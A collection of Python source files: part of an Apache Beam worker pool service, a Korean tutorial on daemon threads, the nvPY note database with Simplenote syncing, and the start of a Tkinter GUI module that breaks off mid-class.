state_cache_size self._worker_processes = {} @classmethod def start(cls, use_process=False, port=0, state_cache_size=0, container_executable=None): worker_server = grpc.server(UnboundedThreadPoolExecutor()) worker_address = 'localhost:%s' % worker_server.add_insecure_port( '[::]:%s' % port) worker_pool = cls(use_process=use_process, container_executable=container_executable, state_cache_size=state_cache_size) beam_fn_api_pb2_grpc.add_BeamFnExternalWorkerPoolServicer_to_server( worker_pool, worker_server) worker_server.start() # Register to kill the subprocesses on exit. def kill_worker_processes(): for worker_process in worker_pool._worker_processes.values(): worker_process.kill() atexit.register(kill_worker_processes) return worker_address, worker_server def StartWorker(self, start_worker_request, unused_context): try: if self._use_process: command = ['python', '-c', 'from apache_beam.runners.worker.sdk_worker ' 'import SdkHarness; ' 'SdkHarness(' '"%s",' 'worker_id="%s",' 'state_cache_size=%d' ')' '.run()' % ( start_worker_request.control_endpoint.url, start_worker_request.worker_id, self._state_cache_size)] if self._container_executable: # command as per container spec # the executable is responsible to handle concurrency # for artifact retrieval and other side effects command = [self._container_executable, '--id=%s' % start_worker_request.worker_id, '--logging_endpoint=%s' % start_worker_request.logging_endpoint.url, '--artifact_endpoint=%s' % start_worker_request.artifact_endpoint.url, '--provision_endpoint=%s' % start_worker_request.provision_endpoint.url, '--control_endpoint=%s' % start_worker_request.control_endpoint.url, ] _LOGGER.warning("Starting worker with command %s" % command) worker_process = subprocess.Popen(command, stdout=subprocess.PIPE, close_fds=True) self._worker_processes[start_worker_request.worker_id] = worker_process else: worker = sdk_worker.SdkHarness( start_worker_request.control_endpoint.url, worker_id=start_worker_request.worker_id, state_cache_size=self._state_cache_size) worker_thread = threading.Thread( name='run_worker_%s' % start_worker_request.worker_id, target=worker.run) worker_thread.daemon = True worker_thread.start() return beam_fn_api_pb2.StartWorkerResponse() except Exception as exn: return beam_fn_api_pb2.StartWorkerResponse(error=str(exn)) def StopWorker(self, stop_worker_request, unused_context): # applicable for process mode to ensure process cleanup # thread based workers terminate automatically worker_process = self._worker_processes.pop(stop_worker_request.worker_id, None) if worker_process: def kill_worker_process(): try: worker_process.kill() except OSError: # ignore already terminated process return _LOGGER.info("Stopping worker %s" % stop_worker_request.worker_id) # communicate is necessary to avoid zombie process # time box communicate (it has no timeout parameter in Py2) threading.Timer(1, kill_worker_process).start() worker_process.communicate() return beam_fn_api_pb2.StopWorkerResponse() def main(argv=None): """Entry point for worker pool service for external environments.""" parser = argparse.ArgumentParser() parser.add_argument('--container_executable', type=str, default=None, help='Executable that implements the Beam SDK ' 'container contract.') parser.add_argument('--service_port', type=int, required=True, dest='port', help='Bind port for the worker pool service.') args, _ = parser.parse_known_args(argv) address, server = (BeamFnExternalWorkerPoolServicer.start(use_process=True, **vars(args))) logging.getLogger().setLevel(logging.INFO) _LOGGER.info('Started worker pool servicer at port: %s with executable: %s', address, args.container_executable) try: while True: time.sleep(60 * 60 * 24) except KeyboardInterrupt: server.stop(0) if __name__ == '__main__': main(sys.argv)
py_ad_1_4.py
""" Section 1 Multithreading - Thread (2) - Daemon, Join Keyword - DaemonThread, Join """ """ DaemonThread(데몬스레드) (1). 백그라운드에서 실행 (2). 메인스레드 종료시 즉시 종료 (서브 스레드의 경우는 메인 스레드와 상관없이 자기 작업을 끝까지 수행함.) (3). 주로 백그라운드 무한 대기 이벤트 발생 실행하는 부분 담당 -> JVM(가비지 컬렉션), 자동 저장 (4). 일반 스레드는 작업 종료시까지 실행 """ import logging import threading # 스레드 실행 함수 def thread_func(name, d): logging.info("Sub-Thread %s: starting", name) for i in d: print(name, i) logging.info("Sub-Thread %s: finishing", name) # 메인 영역 if __name__ == "__main__": # Logging format 설정 format = "%(asctime)s: %(message)s" logging.basicConfig(format=format, level=logging.INFO, datefmt="%H:%M:%S") logging.info("Main-Thread: before creating thread") # 함수 인자 확인 # Daemon: Default False x = threading.Thread(target=thread_func, args=("First", range(200)), daemon=True) y = threading.Thread(target=thread_func, args=("Two", range(10)), daemon=False) logging.info("Main-Thread: before running thread") # 서브 스레드 시작 x.start() y.start() # DaemonThread 확인 print(x.isDaemon()) print(y.isDaemon()) # 주석 전후 결과 확인 # x.join() # 서브 스레드의 작업이 끝날 떄까지, 메인 스레드가 기다림. # y.join() logging.info("Main-Thread: wait for the thread to finish") logging.info("Main-Thread: all done")
notes_db.py
# nvPY: cross-platform note-taking app with simplenote syncing # copyright 2012 by Charl P. Botha <cpbotha@vxlabs.com> # new BSD license import codecs import copy import glob import os import sys import json import logging from Queue import Queue, Empty import re import simplenote simplenote.NOTE_FETCH_LENGTH = 100 from simplenote import Simplenote from threading import Thread, Lock import time import utils ACTION_SAVE = 0 ACTION_SYNC_PARTIAL_TO_SERVER = 1 ACTION_SYNC_PARTIAL_FROM_SERVER = 2 # UNUSED. class SyncError(RuntimeError): pass class ReadError(RuntimeError): pass class WriteError(RuntimeError): pass class NotesDB(utils.SubjectMixin): """NotesDB will take care of the local notes database and syncing with SN. """ def __init__(self, config): utils.SubjectMixin.__init__(self) self.config = config # create db dir if it does not exist if not os.path.exists(config.db_path): os.mkdir(config.db_path) self.db_path = config.db_path # create txt Notes dir if it does not exist if self.config.notes_as_txt and not os.path.exists(config.txt_path): os.mkdir(config.txt_path) now = time.time() # now read all .json files from disk fnlist = glob.glob(self.helper_key_to_fname('*')) txtlist = glob.glob(unicode(self.config.txt_path + '/*.txt', 'utf-8')) txtlist += glob.glob(unicode(self.config.txt_path + '/*.mkdn', 'utf-8')) # removing json files and force full full sync if using text files # and none exists and json files are there if self.config.notes_as_txt and not txtlist and fnlist: logging.debug('Forcing resync: using text notes, first usage') for fn in fnlist: os.unlink(fn) fnlist = [] self.notes = {} if self.config.notes_as_txt: self.titlelist = {} for fn in fnlist: try: n = json.load(open(fn, 'rb')) if self.config.notes_as_txt: nt = utils.get_note_title_file(n) tfn = os.path.join(self.config.txt_path, nt) if os.path.isfile(tfn): self.titlelist[n.get('key')] = nt txtlist.remove(tfn) if os.path.getmtime(tfn) > os.path.getmtime(fn): logging.debug('Text note was changed: %s' % (fn,)) with codecs.open(tfn, mode='rb', encoding='utf-8') as f: c = f.read() n['content'] = c n['modifydate'] = os.path.getmtime(tfn) else: logging.debug('Deleting note : %s' % (fn,)) if not self.config.simplenote_sync: os.unlink(fn) continue else: n['deleted'] = 1 n['modifydate'] = now except IOError, e: logging.error('NotesDB_init: Error opening %s: %s' % (fn, str(e))) raise ReadError('Error opening note file') except ValueError, e: logging.error('NotesDB_init: Error reading %s: %s' % (fn, str(e))) raise ReadError('Error reading note file') else: # we always have a localkey, also when we don't have a note['key'] yet (no sync) localkey = os.path.splitext(os.path.basename(fn))[0] self.notes[localkey] = n # we maintain in memory a timestamp of the last save # these notes have just been read, so at this moment # they're in sync with the disc. n['savedate'] = now if self.config.notes_as_txt: for fn in txtlist: logging.debug('New text note found : %s' % (fn),) tfn = os.path.join(self.config.txt_path, fn) try: with codecs.open(tfn, mode='rb', encoding='utf-8') as f: c = f.read() except IOError, e: logging.error('NotesDB_init: Error opening %s: %s' % (fn, str(e))) raise ReadError('Error opening note file') except ValueError, e: logging.error('NotesDB_init: Error reading %s: %s' % (fn, str(e))) raise ReadError('Error reading note file') else: nk = self.create_note(c) nn = os.path.splitext(os.path.basename(fn))[0] if nn != utils.get_note_title(self.notes[nk]): self.notes[nk]['content'] = nn + "\n\n" + c os.unlink(tfn) # save and sync queue self.q_save = Queue() self.q_save_res = Queue() thread_save = Thread(target=self.worker_save) thread_save.setDaemon(True) thread_save.start() self.full_syncing = False # initialise the simplenote instance we're going to use # this does not yet need network access if self.config.simplenote_sync: self.simplenote = Simplenote(config.sn_username, config.sn_password) # we'll use this to store which notes are currently being synced by # the background thread, so we don't add them anew if they're still # in progress. This variable is only used by the background thread. self.threaded_syncing_keys = {} # reading a variable or setting this variable is atomic # so sync thread will write to it, main thread will only # check it sometimes. self.waiting_for_simplenote = False self.syncing_lock = Lock() self.q_sync = Queue() self.q_sync_res = Queue() thread_sync = Thread(target=self.worker_sync) thread_sync.setDaemon(True) thread_sync.start() def create_note(self, title): # need to get a key unique to this database. not really important # what it is, as long as it's unique. new_key = utils.generate_random_key() while new_key in self.notes: new_key = utils.generate_random_key() timestamp = time.time() # note has no internal key yet. new_note = { 'content': title, 'modifydate': timestamp, 'createdate': timestamp, 'savedate': 0, # never been written to disc 'syncdate': 0, # never been synced with server 'tags': [] } self.notes[new_key] = new_note return new_key def delete_note(self, key): n = self.notes[key] n['deleted'] = 1 n['modifydate'] = time.time() def filter_notes(self, search_string=None): """Return list of notes filtered with search string. Based on the search mode that has been selected in self.config, this method will call the appropriate helper method to do the actual work of filtering the notes. @param search_string: String that will be used for searching. Different meaning depending on the search mode. @return: notes filtered with selected search mode and sorted according to configuration. Two more elements in tuple: a regular expression that can be used for highlighting strings in the text widget; the total number of notes in memory. """ if self.config.search_mode == 'regexp': filtered_notes, match_regexp, active_notes = self.filter_notes_regexp(search_string) else: filtered_notes, match_regexp, active_notes = self.filter_notes_gstyle(search_string) if self.config.sort_mode == 0: if self.config.pinned_ontop == 0: # sort alphabetically on title filtered_notes.sort(key=lambda o: utils.get_note_title(o.note)) else: filtered_notes.sort(utils.sort_by_title_pinned) elif self.config.sort_mode == 2: if self.config.pinned_ontop == 0: # last modified on top filtered_notes.sort(key=lambda o: -float(o.note.get('createdate', 0))) else: filtered_notes.sort(utils.sort_by_create_date_pinned, reverse=True) else: if self.config.pinned_ontop == 0: # last modified on top filtered_notes.sort(key=lambda o: -float(o.note.get('modifydate', 0))) else: filtered_notes.sort(utils.sort_by_modify_date_pinned, reverse=True) return filtered_notes, match_regexp, active_notes def _helper_gstyle_tagmatch(self, tag_pats, note): if tag_pats: tags = note.get('tags') # tag: patterns specified, but note has no tags, so no match if not tags: return 0 # for each tag_pat, we have to find a matching tag for tp in tag_pats: # at the first match between tp and a tag: if next((tag for tag in tags if tag.startswith(tp)), None) is not None: # we found a tag that matches current tagpat, so we move to the next tagpat continue else: # we found no tag that matches current tagpat, so we break out of for loop break else: # for loop never broke out due to no match for tagpat, so: # all tag_pats could be matched, so note is a go. return 1 # break out of for loop will have us end up here # for one of the tag_pats we found no matching tag return 0 else: # match because no tag: patterns were specified return 2 def _helper_gstyle_mswordmatch(self, msword_pats, content): """If all words / multi-words in msword_pats are found in the content, the note goes through, otherwise not. @param msword_pats: @param content: @return: """ # no search patterns, so note goes through if not msword_pats: return True # search for the first p that does NOT occur in content if next((p for p in msword_pats if p not in content), None) is None: # we only found pats that DO occur in content so note goes through return True else: # we found the first p that does not occur in content return False def filter_notes_gstyle(self, search_string=None): filtered_notes = [] # total number of notes, excluding deleted active_notes = 0 if not search_string: for k in self.notes: n = self.notes[k] if not n.get('deleted'): active_notes += 1 filtered_notes.append(utils.KeyValueObject(key=k, note=n, tagfound=0)) return filtered_notes, [], active_notes # group0: ag - not used # group1: t(ag)?:([^\s]+) # group2: multiple words in quotes # group3: single words # example result for 't:tag1 t:tag2 word1 "word2 word3" tag:tag3' == # [('', 'tag1', '', ''), ('', 'tag2', '', ''), ('', '', '', 'word1'), ('', '', 'word2 word3', ''), ('ag', 'tag3', '', '')] groups = re.findall('t(ag)?:([^\s]+)|"([^"]+)"|([^\s]+)', search_string) tms_pats = [[] for _ in range(3)] # we end up with [[tag_pats],[multi_word_pats],[single_word_pats]] for gi in groups: for mi in range(1, 4): if gi[mi]: tms_pats[mi - 1].append(gi[mi]) for k in self.notes: n = self.notes[k] if not n.get('deleted'): active_notes += 1 c = n.get('content') # case insensitive mode: WARNING - SLOW! if not self.config.case_sensitive and c: c = c.lower() tagmatch = self._helper_gstyle_tagmatch(tms_pats[0], n) # case insensitive mode: WARNING - SLOW! msword_pats = tms_pats[1] + tms_pats[2] if self.config.case_sensitive else [p.lower() for p in tms_pats[1] + tms_pats[2]] if tagmatch and self._helper_gstyle_mswordmatch(msword_pats, c): # we have a note that can go through! # tagmatch == 1 if a tag was specced and found # tagmatch == 2 if no tag was specced (so all notes go through) tagfound = 1 if tagmatch == 1 else 0 # we have to store our local key also filtered_notes.append(utils.KeyValueObject(key=k, note=n, tagfound=tagfound)) return filtered_notes, '|'.join(tms_pats[1] + tms_pats[2]), active_notes def filter_notes_regexp(self, search_string=None): """Return list of notes filtered with search_string, a regular expression, each a tuple with (local_key, note). """ if search_string: try: if self.config.case_sensitive == 0: sspat = re.compile(search_string, re.MULTILINE|re.I) else: sspat = re.compile(search_string, re.MULTILINE) except re.error: sspat = None else: sspat = None filtered_notes = [] # total number of notes, excluding deleted ones active_notes = 0 for k in self.notes: n = self.notes[k] # we don't do anything with deleted notes (yet) if n.get('deleted'): continue active_notes += 1 c = n.get('content') if self.config.search_tags == 1: t = n.get('tags') if sspat: # this used to use a filter(), but that would by definition # test all elements, whereas we can stop when the first # matching element is found # now I'm using this awesome trick by Alex Martelli on # http://stackoverflow.com/a/2748753/532513 # first parameter of next is a generator # next() executes one step, but due to the if, this will # either be first matching element or None (second param) if t and next((ti for ti in t if sspat.search(ti)), None) is not None: # we have to store our local key also filtered_notes.append(utils.KeyValueObject(key=k, note=n, tagfound=1)) elif sspat.search(c): # we have to store our local key also filtered_notes.append(utils.KeyValueObject(key=k, note=n, tagfound=0)) else: # we have to store our local key also filtered_notes.append(utils.KeyValueObject(key=k, note=n, tagfound=0)) else: if (not sspat or sspat.search(c)): # we have to store our local key also filtered_notes.append(utils.KeyValueObject(key=k, note=n, tagfound=0)) match_regexp = search_string if sspat else '' return filtered_notes, match_regexp, active_notes def get_note(self, key): return self.notes[key] def get_note_content(self, key): return self.notes[key].get('content') def get_note_status(self, key): o = utils.KeyValueObject(saved=False, synced=False, modified=False, full_syncing=self.full_syncing) if key is None: return o n = self.notes[key] modifydate = float(n['modifydate']) savedate = float(n['savedate']) if savedate > modifydate: o.saved = True else: o.modified = True if float(n['syncdate']) > modifydate: o.synced = True return o def get_save_queue_len(self): return self.q_save.qsize() def get_sync_queue_len(self): return self.q_sync.qsize() def helper_key_to_fname(self, k): return os.path.join(self.db_path, k) + '.json' def helper_save_note(self, k, note): """Save a single note to disc. """ if self.config.notes_as_txt: t = utils.get_note_title_file(note) if t and not note.get('deleted'): if k in self.titlelist: logging.debug('Writing note : %s %s' % (t, self.titlelist[k])) if self.titlelist[k] != t: dfn = os.path.join(self.config.txt_path, self.titlelist[k]) if os.path.isfile(dfn): logging.debug('Delete file %s ' % (dfn, )) os.unlink(dfn) else: logging.debug('File not exits %s ' % (dfn, )) else: logging.debug('Key not in list %s ' % (k, )) self.titlelist[k] = t fn = os.path.join(self.config.txt_path, t) try: with codecs.open(fn, mode='wb', encoding='utf-8') as f: c = note.get('content') if isinstance(c, str): c = unicode(c, 'utf-8') else: c = unicode(c) f.write(c) except IOError, e: logging.error('NotesDB_save: Error opening %s: %s' % (fn, str(e))) raise WriteError('Error opening note file') except ValueError, e: logging.error('NotesDB_save: Error writing %s: %s' % (fn, str(e))) raise WriteError('Error writing note file') elif t and note.get('deleted') and k in self.titlelist: dfn = os.path.join(self.config.txt_path, self.titlelist[k]) if os.path.isfile(dfn): logging.debug('Delete file %s ' % (dfn, )) os.unlink(dfn) fn = self.helper_key_to_fname(k) if not self.config.simplenote_sync and note.get('deleted'): if os.path.isfile(fn): os.unlink(fn) else: json.dump(note, open(fn, 'wb'), indent=2) # record that we saved this to disc. note['savedate'] = time.time() def sync_note_unthreaded(self, k): """Sync a single note with the server. Update existing note in memory with the returned data. This is a sychronous (blocking) call. """ note = self.notes[k] if not note.get('key') or float(note.get('modifydate')) > float(note.get('syncdate')): # if has no key, or it has been modified sync last sync, # update to server uret = self.simplenote.update_note(note) if uret[1] == 0: # success! n = uret[0] # if content was unchanged, there'll be no content sent back! if n.get('content', None): new_content = True else: new_content = False now = time.time() # 1. store when we've synced n['syncdate'] = now # update our existing note in-place! note.update(n) # return the key return (k, new_content) else: return None else: # our note is synced up, but we check if server has something new for us gret = self.simplenote.get_note(note['key']) if gret[1] == 0: n = gret[0] if int(n.get('syncnum')) > int(note.get('syncnum')): n['syncdate'] = time.time() note.update(n) return (k, True) else: return (k, False) else: return None def save_threaded(self): for k, n in self.notes.items(): savedate = float(n.get('savedate')) if float(n.get('modifydate')) > savedate or \ float(n.get('syncdate')) > savedate: cn = copy.deepcopy(n) # put it on my queue as a save o = utils.KeyValueObject(action=ACTION_SAVE, key=k, note=cn) self.q_save.put(o) # in this same call, we process stuff that might have been put on the result queue nsaved = 0 something_in_queue = True while something_in_queue: try: o = self.q_save_res.get_nowait() except Empty: something_in_queue = False else: # o (.action, .key, .note) is something that was written to disk # we only record the savedate. self.notes[o.key]['savedate'] = o.note['savedate'] self.notify_observers('change:note-status', utils.KeyValueObject(what='savedate', key=o.key)) nsaved += 1 return nsaved def sync_to_server_threaded(self, wait_for_idle=True): """Only sync notes that have been changed / created locally since previous sync. This function is called by the housekeeping handler, so once every few seconds. @param wait_for_idle: Usually, last modification date has to be more than a few seconds ago before a sync to server is attempted. If wait_for_idle is set to False, no waiting is applied. Used by exit cleanup in controller. """ # this many seconds of idle time (i.e. modification this long ago) # before we try to sync. if wait_for_idle: lastmod = 3 else: lastmod = 0 now = time.time() for k, n in self.notes.items(): # if note has been modified sinc the sync, we need to sync. # only do so if note hasn't been touched for 3 seconds # and if this note isn't still in the queue to be processed by the # worker (this last one very important) modifydate = float(n.get('modifydate', -1)) syncdate = float(n.get('syncdate', -1)) if modifydate > syncdate and \ now - modifydate > lastmod and \ k not in self.threaded_syncing_keys: # record that we've requested a sync on this note, # so that we don't keep on putting stuff on the queue. self.threaded_syncing_keys[k] = True cn = copy.deepcopy(n) # we store the timestamp when this copy was made as the syncdate cn['syncdate'] = time.time() # put it on my queue as a sync o = utils.KeyValueObject(action=ACTION_SYNC_PARTIAL_TO_SERVER, key=k, note=cn) self.q_sync.put(o) # in this same call, we read out the result queue nsynced = 0 nerrored = 0 something_in_queue = True while something_in_queue: try: o = self.q_sync_res.get_nowait() except Empty: something_in_queue = False else: okey = o.key if o.error: nerrored += 1 else: # o (.action, .key, .note) is something that was synced # we only apply the changes if the syncdate is newer than # what we already have, since the main thread could be # running a full sync whilst the worker thread is putting # results in the queue. if float(o.note['syncdate']) > float(self.notes[okey]['syncdate']): old_note = copy.deepcopy(self.notes[okey]) if float(o.note['syncdate']) > float(self.notes[okey]['modifydate']): # note was synced AFTER the last modification to our local version # do an in-place update of the existing note # this could be with or without new content. self.notes[okey].update(o.note) else: # the user has changed stuff since the version that got synced # just record syncnum and version that we got from simplenote # if we don't do this, merging problems start happening. # VERY importantly: also store the key. It # could be that we've just created the # note, but that the user continued # typing. We need to store the new server # key, else we'll keep on sending new # notes. tkeys = ['syncnum', 'version', 'syncdate', 'key'] for tk in tkeys: self.notes[okey][tk] = o.note[tk] # notify anyone (probably nvPY) that this note has been changed self.notify_observers('synced:note', utils.KeyValueObject(lkey=okey, old_note=old_note)) nsynced += 1 self.notify_observers('change:note-status', utils.KeyValueObject(what='syncdate', key=okey)) # after having handled the note that just came back, # we can take it from this blocker dict del self.threaded_syncing_keys[okey] return (nsynced, nerrored) def sync_full_threaded(self): def wrapper(): try: sync_from_server_errors = self.sync_full_unthreaded() self.notify_observers('complete:sync_full', utils.KeyValueObject(errors=sync_from_server_errors)) except Exception, e: self.notify_observers('error:sync_full', utils.KeyValueObject(error=e, exc_info=sys.exc_info())) thread_sync_full = Thread(target=wrapper) thread_sync_full.setDaemon(True) thread_sync_full.start() def sync_full_unthreaded(self): """Perform a full bi-directional sync with server. This follows the recipe in the SimpleNote 2.0 API documentation. After this, it could be that local keys have been changed, so reset any views that you might have. """ try: self.syncing_lock.acquire() self.full_syncing = True local_deletes = {} now = time.time() self.notify_observers('progress:sync_full', utils.KeyValueObject(msg='Starting full sync.')) # 1. go through local notes, if anything changed or new, update to server for ni, lk in enumerate(self.notes.keys()): n = self.notes[lk] if not n.get('key') or float(n.get('modifydate')) > float(n.get('syncdate')): self.waiting_for_simplenote = True uret = self.simplenote.update_note(n) self.waiting_for_simplenote = False if uret[1] == 0: # replace n with uret[0] # if this was a new note, our local key is not valid anymore del self.notes[lk] # in either case (new or existing note), save note at assigned key k = uret[0].get('key') # we merge the note we got back (content coud be empty!) n.update(uret[0]) # and put it at the new key slot self.notes[k] = n # record that we just synced uret[0]['syncdate'] = now # whatever the case may be, k is now updated self.helper_save_note(k, self.notes[k]) if lk != k: # if lk was a different (purely local) key, should be deleted local_deletes[lk] = True self.notify_observers('progress:sync_full', utils.KeyValueObject(msg='Synced modified note %d to server.' % (ni,))) else: key = n.get('key') or lk raise SyncError("Sync step 1 error - Could not update note {0} to server: {1}".format(key, str(uret[0]))) # 2. this gets the FULL note list, even if multiple gets are required self.notify_observers('progress:sync_full', utils.KeyValueObject(msg='Retrieving full note list from server, could take a while.')) self.waiting_for_simplenote = True nl = self.simplenote.get_note_list() self.waiting_for_simplenote = False if nl[1] == 0: nl = nl[0] self.notify_observers('progress:sync_full', utils.KeyValueObject(msg='Retrieved full note list from server.')) else: raise SyncError('Could not get note list from server.') # 3. for each local note not in server index, remove. server_keys = {} for n in nl: k = n.get('key') server_keys[k] = True for lk in self.notes.keys(): if lk not in server_keys: if self.notes[lk]['syncdate'] == 0: # this note must be keep, because its was created in midst of executing task 2. continue if self.config.notes_as_txt: tfn = os.path.join(self.config.txt_path, utils.get_note_title_file(self.notes[lk])) if os.path.isfile(tfn): os.unlink(tfn) del self.notes[lk] local_deletes[lk] = True self.notify_observers('progress:sync_full', utils.KeyValueObject(msg='Deleted note %d.' % (len(local_deletes)))) # 4. if remote syncnum > local syncnum, update our note; if key is new, add note to local. lennl = len(nl) sync_from_server_errors = 0 for ni, n in enumerate(nl): k = n.get('key') # this works, only because in phase 1 we rewrite local keys to # server keys when we get an updated not back from the server if k in self.notes: # we already have this # check if server n has a newer syncnum than mine if int(n.get('syncnum')) > int(self.notes[k].get('syncnum', -1)): # and the server is newer self.waiting_for_simplenote = True ret = self.simplenote.get_note(k) self.waiting_for_simplenote = False if ret[1] == 0: self.notes[k].update(ret[0]) # in both cases, new or newer note, syncdate is now. self.notes[k]['syncdate'] = now self.helper_save_note(k, self.notes[k]) self.notify_observers('progress:sync_full', utils.KeyValueObject(msg='Synced newer note %d (%d) from server.' % (ni, lennl))) else: logging.error('Error syncing newer note %s from server: %s' % (k, ret[0])) sync_from_server_errors += 1 else: # new note self.waiting_for_simplenote = True ret = self.simplenote.get_note(k) self.waiting_for_simplenote = False if ret[1] == 0: self.notes[k] = ret[0] # in both cases, new or newer note, syncdate is now. self.notes[k]['syncdate'] = now self.helper_save_note(k, self.notes[k]) self.notify_observers('progress:sync_full', utils.KeyValueObject(msg='Synced new note %d (%d) from server.' % (ni, lennl))) else: logging.error('Error syncing new note %s from server: %s' % (k, ret[0])) sync_from_server_errors += 1 # 5. sync done, now write changes to db_path for dk in local_deletes.keys(): fn = self.helper_key_to_fname(dk) if os.path.exists(fn): os.unlink(fn) self.notify_observers('progress:sync_full', utils.KeyValueObject(msg='Full sync complete.')) self.full_syncing = False return sync_from_server_errors finally: self.full_syncing = False self.syncing_lock.release() def set_note_content(self, key, content): n = self.notes[key] old_content = n.get('content') if content != old_content: n['content'] = content n['modifydate'] = time.time() self.notify_observers('change:note-status', utils.KeyValueObject(what='modifydate', key=key)) def set_note_tags(self, key, tags): n = self.notes[key] old_tags = n.get('tags') tags = utils.sanitise_tags(tags) if tags != old_tags: n['tags'] = tags n['modifydate'] = time.time() self.notify_observers('change:note-status', utils.KeyValueObject(what='modifydate', key=key)) def delete_note_tag(self, key, tag): note = self.notes[key] note_tags = note.get('tags') note_tags.remove(tag) note['tags'] = note_tags note['modifydate'] = time.time() self.notify_observers('change:note-status', utils.KeyValueObject(what='modifydate', key=key)) def add_note_tags(self, key, comma_seperated_tags): note = self.notes[key] note_tags = note.get('tags') new_tags = utils.sanitise_tags(comma_seperated_tags) note_tags.extend(new_tags) note['tags'] = note_tags note['modifydate'] = time.time() self.notify_observers('change:note-status', utils.KeyValueObject(what='modifydate', key=key)) def set_note_pinned(self, key, pinned): n = self.notes[key] old_pinned = utils.note_pinned(n) if pinned != old_pinned: if 'systemtags' not in n: n['systemtags'] = [] systemtags = n['systemtags'] if pinned: # which by definition means that it was NOT pinned systemtags.append('pinned') else: systemtags.remove('pinned') n['modifydate'] = time.time() self.notify_observers('change:note-status', utils.KeyValueObject(what='modifydate', key=key)) def is_different_note(self, local_note, remote_note): # for keeping original data. local_note = dict(local_note) remote_note = dict(remote_note) del local_note['savedate'] del local_note['syncdate'] # convert to hashable objects. for k, v in local_note.items(): if isinstance(v, list): local_note[k] = tuple(v) for k, v in remote_note.items(): if isinstance(v, list): remote_note[k] = tuple(v) # it will returns an empty set() if each notes is equals. return set(local_note.items()) ^ set(remote_note.items()) def worker_save(self): while True: o = self.q_save.get() if o.action == ACTION_SAVE: # this will write the savedate into o.note # with filename o.key.json try: self.helper_save_note(o.key, o.note) except WriteError, e: logging.error('FATAL ERROR in access to file system') print "FATAL ERROR: Check the nvpy.log" os._exit(1) else: # put the whole thing back into the result q # now we don't have to copy, because this thread # is never going to use o again. # somebody has to read out the queue... self.q_save_res.put(o) def worker_sync(self): self.syncing_lock.acquire() while True: if self.q_sync.empty(): self.syncing_lock.release() o = self.q_sync.get() self.syncing_lock.acquire() else: o = self.q_sync.get() if o.key not in self.threaded_syncing_keys: # this note was already synced by sync_full thread. continue if o.action == ACTION_SYNC_PARTIAL_TO_SERVER: self.waiting_for_simplenote = True if 'key' in o.note: logging.debug('Updating note %s (local key %s) to server.' % (o.note['key'], o.key)) else: logging.debug('Sending new note (local key %s) to server.' % (o.key,)) uret = self.simplenote.update_note(o.note) self.waiting_for_simplenote = False if uret[1] == 0: # success! n = uret[0] if not n.get('content', None): # if note has not been changed, we don't get content back # delete our own copy too. del o.note['content'] logging.debug('Server replies with updated note ' + n['key']) # syncdate was set when the note was copied into our queue # we rely on that to determine when a returned note should # overwrite a note in the main list. # store the actual note back into o # in-place update of our existing note copy o.note.update(n) # success! o.error = 0 # and put it on the result queue self.q_sync_res.put(o) else: update_error = uret[0] self.waiting_for_simplenote = True uret = self.simplenote.get_note(o.key) self.waiting_for_simplenote = False if uret[1] == 0: local_note = o.note remote_note = uret[0] if not self.is_different_note(local_note, remote_note): # got an error response when updating the note. # however, the remote note has been updated. # this phenomenon is rarely occurs. # if it occurs, housekeeper's is going to repeatedly update this note. # regard updating error as success for prevent this problem. logging.info('Regard updating error (local key %s, error object %s) as success.' % (o.key, repr(update_error))) o.error = 0 self.q_sync_res.put(o) continue o.error = 1 self.q_sync_res.put(o)
gui.py
import Tkinter as Tk import Tkconstants, tkFileDialog import os import ttk # spawning child processes import subprocess from threading import Thread, Timer import time from sys import platform as _platform class VerticalScrolledFrame(Tk.Frame): """A pure Tkinter scrollable frame that actually works! * Use the 'interior' attribute to place widgets inside the scrollable frame * Construct and pack/place/grid normally * This frame only allows vertical scrolling """ def __init__(self, parent, *args, **kw): Tk.Frame.__init__(self, parent, *args, **kw) # create a canvas object and a vertical scrollbar for scrolling it vscrollbar = Tk.Scrollbar(self, orient="vertical") vscrollbar.pack(fill="y", side="right", expand=False) canvas = Tk.Canvas(self, bd=0, highlightthickness=0, yscrollcommand=vscrollbar.set) canvas.pack(side="left", fill="both", expand=True) vscrollbar.config(command=canvas.yview) # reset the view canvas.xview_moveto(0) canvas.yview_moveto(0) # create a frame inside the canvas which will be scrolled with it self.interior = interior = Tk.Frame(canvas) interior_id = canvas.create_window(0, 0, window=interior, anchor="nw") # track changes to the canvas and frame width and sync them, # also updating the scrollbar def _configure_interior(event): # update the scrollbars to match the size of the inner frame size = (interior.winfo_reqwidth(), interior.winfo_reqheight()) # print size canvas.config(scrollregion="0 0 %s %s" % size) # print "scrollregion = 0 0 %s %s" % size if interior.winfo_reqwidth() != canvas.winfo_width(): # update the canvas's width to fit the inner frame canvas.config(width=interior.winfo_reqwidth()) interior.bind('<Configure>', _configure_interior) def _configure_canvas(event): if interior.winfo_reqwidth() != canvas.winfo_width(): # update the inner frame's width to fill the canvas canvas.itemconfigure(interior_id, width=canvas.winfo_width()) canvas.bind('<Configure>', _configure_canvas) def _on_mousewheel(event, is_OSX=False): if is_OSX: canvas.yview_scroll(-1*(event.delta), "units") else: canvas.yview_scroll(-1*(event.delta/120), "units") # Linux OS if _platform == "linux" or _platform == "linux2": canvas.bind_all("<Button-4>", _on_mousewheel) canvas.bind_all("<Button-5>", _on_mousewheel) # Windows elif _platform == "win32": canvas.bind_all("<MouseWheel>", _on_mousewheel) # OSX elif _platform == "darwin": canvas.bind_all("<MouseWheel>", lambda evt: _on_mousewheel(evt, True)) class DateEntry(Tk.Frame): def __init__(self, master, frame_look={}, **look): args = dict(relief=Tk.SUNKEN, border=1) args.update(frame_look) Tk.Frame.__init__(self, master, **args) args = {'relief': Tk.FLAT} args.update(look) self.entry_1 = Tk.Entry(self, width=4, **args) self.label_1 = Tk.Label(self, text='-', **args) self.entry_2 = Tk.Entry(self, width=2, **args) self.label_2 = Tk.Label(self, text='-', **args) self.entry_3 = Tk.Entry(self, width=2, **args) self.label_3 = Tk.Label(self, text='T', **args) self.entry_4 = Tk.Entry(self, width=2, **args) self.label_4 = Tk.Label(self, text=':', **args) self.entry_5 = Tk.Entry(self, width=2, **args) self.entry_1.pack(side=Tk.LEFT) self.label_1.pack(side=Tk.LEFT) self.entry_2.pack(side=Tk.LEFT) self.label_2.pack(side=Tk.LEFT) self.entry_3.pack(side=Tk.LEFT) self.label_3.pack(side=Tk.LEFT) self.entry_4.pack(side=Tk.LEFT) self.label_4.pack(side=Tk.LEFT) self.entry_5.pack(side=Tk.LEFT) self.entry_1.bind('<KeyRelease>', self._e1_check) self.entry_2.bind('<KeyRelease>', self._e2_check) 